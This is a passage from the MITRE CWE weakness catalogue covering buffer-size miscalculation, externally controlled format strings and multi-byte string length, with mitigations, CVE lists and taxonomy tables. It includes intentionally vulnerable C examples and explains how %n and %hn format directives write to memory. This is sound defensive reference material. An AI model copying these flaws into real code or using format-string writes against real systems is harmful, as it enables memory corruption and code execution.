Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Phase: Implementation

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

Phase: Implementation

Use sizeof() on the appropriate data type to avoid CWE-467.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-61] [REF-60].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C *(bad)*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following image processing code allocates a table for images.

Example Language: C *(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
```

```
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

Example Language: C *(bad)*

```
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

Observed Examples

Reference	Description
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1363*
CVE-2004-0747	substitution overflow: buffer overflow using expansion of environment variables *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0747*
CVE-2005-2103	substitution overflow: buffer overflow using a large number of substitution strings *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2103*
CVE-2005-3120	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3120*
CVE-2003-0899	transformation overflow: buffer overflow when expanding ">" to ">", etc. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0899*
CVE-2001-0334	expansion overflow: buffer overflow using wildcards *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0334*
CVE-2001-0248	expansion overflow: long pathname + glob = overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0248*
CVE-2001-0249	expansion overflow: long pathname + glob = overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0249*
CVE-2002-0184	special characters in argument are not properly expanded *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0184*
CVE-2004-0434	small length value leads to heap overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0434*
CVE-2002-1347	multiple variants *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1347*
CVE-2005-0490	needs closer investigation, but probably expansion-based *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0490*
CVE-2004-0940	needs closer investigation, but probably expansion-based *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0940*
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0599*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911

Nature	Type	ID	Name	V	Page
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1946
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Notes

Maintenance

This is a broad category. Some examples include: simple math errors, incorrectly updating parallel counters, not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion"). This level of detail is rarely available in public reports, so it is difficult to find good examples.

Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences. This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Other length calculation error
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
47	Buffer Overflow via Parameter Expansion
100	Overflow Buffers

References

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < http://safeint.codeplex.com/ >.

[REF-107]Jason Lam. "Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size". 2010 March 9. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

CWE-134: Use of Externally-Controlled Format String

Weakness ID : 134 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	133	String Errors	1850

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Perl *(Prevalence = Rarely)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *Format string problems allow for information disclosure which can severely simplify exploitation of the program.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Format string problems can result in the execution of arbitrary code.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source.

Effectiveness = Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Phase: Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

Demonstrative Examples

Example 1:

The following program prints a string provided as an argument.

Example Language: C *(bad)*

```
#include <stdio.h>
void printWrapper(char *string) {
  printf(string);
}
int main(int argc, char **argv) {
  char buf[5012];
  memcpy(buf, argv[1], 5012);
  printWrapper(argv[1]);
  return (0);
}
```

The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2:

The following code copies a command line argument into a buffer using snprintf().

Example Language: C *(bad)*

```
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf,128,argv[1]);
}
```

This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.

Example 3:

Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

Example Language: C *(bad)*

```
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

Observed Examples

Reference	Description
CVE-2002-1825	format string in Perl program *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1825*
CVE-2001-0717	format string in bad call to syslog function *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0717*
CVE-2002-0573	format string in bad call to syslog function *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0573*
CVE-2002-1788	format strings in NNTP server responses *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1788*
CVE-2006-2480	Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2480*
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2027*

Functional Areas

- Logging
- Error Handling
- String Processing

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows	711	1877
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Applicable Platform

This weakness is possible in any programming language that support format strings.

Other

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program. Frequently targeted entities are file names, process names, identifiers. Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

Research Gap

Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Format string vulnerability
7 Pernicious Kingdoms			Format String
CLASP			Format string problem
CERT C Secure Coding	FIO30-C	Exact	Exclude user input from format strings
CERT C Secure Coding	FIO47-C	CWE More Specific	Use valid format strings
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
WASC	6		Format String
The CERT Oracle Secure Coding Standard for Java (2011)	IDS06-J		Exclude user input from format strings
SEI CERT Perl Coding Standard	IDS30-PL	Exact	Exclude user input from format strings
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-134		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
67	String Format Overflow in syslog()
135	Format String Injection

References

[REF-116]Steve Christey. "Format String Vulnerabilities in Perl Programs". < http://www.securityfocus.com/archive/1/418460/30/0/threaded >.

[REF-117]Hal Burch and Robert C. Seacord. "Programming Language Format String Vulnerabilities". < http://www.ddj.com/dept/security/197002914 >.

[REF-118]Tim Newsham. "Format String Attacks". 2000 September 9. Guardent. < http://www.thenewsh.com/~newsham/format-string-attacks.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-135: Incorrect Calculation of Multi-Byte String Length

Weakness ID : 135 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	133	String Errors	1850

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.*	
Availability Confidentiality	Read Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Confidentiality	Read Memory *In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Always verify the length of the string unit character.

Phase: Implementation

Strategy = Libraries or Frameworks

Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

Demonstrative Examples

Example 1:

The following example would be exploitable if any of the commented incorrect malloc calls were used.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <strings.h>
#include <wchar.h>
int main() {
    wchar_t wideString[] = L"The spazzy orange tiger jumped " \
    "over the tawny jaguar.";
    wchar_t *newString;
    printf("Strlen() output: %d\nWcslen() output: %d\n",
    strlen(wideString), wcslen(wideString));
    /* Wrong because the number of chars in a string isn't related to its length in bytes //
    newString = (wchar_t *) malloc(strlen(wideString));
    */
    /* Wrong because wide characters aren't 1 byte long! //
    newString = (wchar_t *) malloc(wcslen(wideString));
    */
    /* Wrong because wcslen does not include the terminating null */
    newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));
    /* correct! */
    newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));
    /* ... */
}
```

The output from the printf() statement would be:

Example Language: *(result)*

```
Strlen() output: 0
Wcslen() output: 53
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1946

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper string length checking
The CERT Oracle Secure Coding Standard for Java (2011)	FIO10-J		Ensure the array is filled when using read() to fill an array
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-138: Improper Neutralization of Special Elements

Weakness ID : 138 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

Extended Description

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ParentOf	B	140	Improper Neutralization of Delimiters	345
ParentOf	V	147	Improper Neutralization of Input Terminators	357
ParentOf	V	148	Improper Neutralization of Input Leaders	359
ParentOf	V	149	Improper Neutralization of Quoting Syntax	360
ParentOf	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	362
ParentOf	V	151	Improper Neutralization of Comment Delimiters	364
ParentOf	V	152	Improper Neutralization of Macro Symbols	366
ParentOf	V	153	Improper Neutralization of Substitution Characters	368
ParentOf	V	154	Improper Neutralization of Variable Name Delimiters	369
ParentOf	V	155	Improper Neutralization of Wildcards or Matching Symbols	371
ParentOf	V	156	Improper Neutralization of Whitespace	373
ParentOf	V	157	Failure to Sanitize Paired Delimiters	375
ParentOf	V	158	Improper Neutralization of Null Byte or NUL Character	377
ParentOf	C	159	Improper Handling of Invalid Use of Special Elements	379
ParentOf	V	160	Improper Neutralization of Leading Special Elements	381
ParentOf	V	162	Improper Neutralization of Trailing Special Elements	384
